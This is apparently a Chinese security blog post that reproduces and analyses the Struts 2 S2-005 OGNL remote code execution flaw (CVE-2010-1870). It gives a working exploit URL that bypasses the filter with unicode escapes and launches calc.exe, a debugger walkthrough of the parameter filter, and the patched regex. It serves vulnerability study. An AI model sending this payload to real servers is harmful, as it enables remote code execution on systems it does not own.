1. 程式人生 > 其它 >S2-005復現分析

S2-005復現分析

一、漏洞資訊

漏洞資訊頁面:

S2-005 - Apache Struts 2 Wiki - Apache Software Foundation

漏洞編號:

CVE-2010-1870

漏洞型別:

RCE(遠端程式碼執行)

受影響元件:

Struts 2.0.0 - Struts 2.1.8.1

漏洞成因:

XWork使用OGNL表示式將GET引數的鍵和值解析為Java語句

user.address.city=Bishkek&user['favoriteDrink']=kumys

//It will be converted to

action.getUser().getAddress().setCity("Bishkek")

action.getUser().setFavoriteDrink("kumys")

二、環境搭建

IDE:Eclipse IDE for Enterprise Java and Web Developers

Java:JDK1.8

Tomcat:8.5.14

Struts:2.1.8.1(https://github.com/vulhub/vulhub/struts/s2-005)

三、漏洞利用

執行命令,彈計算器payload

http://127.0.0.1:8080/S2-005/example/HelloWorld.action?
('\u0023_memberAccess[\'allowStaticMethodAccess\']')(vaaa)=true&(aaaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023vccc')(\u0023vccc\u003dnew java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec("calc.exe".split("@"))')(\u0023rt\[email protected]@getRuntime()))=1
    
\u0023 ==> #
\u003d ==> =

Ognl表示式解析參考:S2-005 遠端程式碼執行漏洞檢測與利用_Fly_鵬程萬里-CSDN部落格_s2-005

Payload中的攻擊程式碼有兩個形式,一種是(expression)(constant)=value,一種是(constant)((expression1)(expression2))
Ognl解析引擎是這樣處理的,每個括號對應語法樹上的一個分支,並且從最右邊的葉子節點開始解析執行。

總結:
(1)(expression)(constant)=value 會執行 expression=value。
(2)(constant)((expression1)(expression2)) 會先執行expression2,然後再執行expression1。

四、漏洞分析

找到params攔截器所在類,在doIntercept()函式中下斷點。開始除錯,web頁面請求帶有payload的url。

執行到setParameters,該函式根據請求引數設定action,步入函式。

呼叫setDenyMethodExecution向context中新增xwork.MethodAccessor.denyMethodExecution=true,禁止在引數中呼叫任意方法

在setParameters中呼叫acceptableName

在acceptableName中呼叫了兩個方法對引數名進行過濾

isAccepted中會對paraName進行正則匹配,\p{Graph}為匹配任何可見字元。不允許paraName帶有,#:=。由於只是簡單的匹配這幾個字元,導致可以通過編碼繞過此處的過濾。

isExcluded

通過isAccepted驗證後將引數及值存放在acceptableParameters

跟進到newStack.setValue,此處for迴圈遍歷GET引數的鍵值對。

步入setValue函式,使用ognlUtil.setValue,步入函式。

ognlUtil.setValue中又呼叫了n.setValue,步入函式

跟進到evaluateSetValueBody,步入函式

跟進setValueBody

呼叫getvalue解析ognl表示式,並通過node.setValue將#_memberAccess['allowStaticMethodAccess']賦值為true

五、漏洞修復

新版本將isAccepted函式中的正則匹配替換為了如下表達式,輸入字元需要通過正則匹配。\#,;等不包含其中的特殊字元將無法通過驗證。

private String acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";

參考連結

https://www.anquanke.com/post/id/254809
https://blog.csdn.net/Fly_hps/article/details/85000125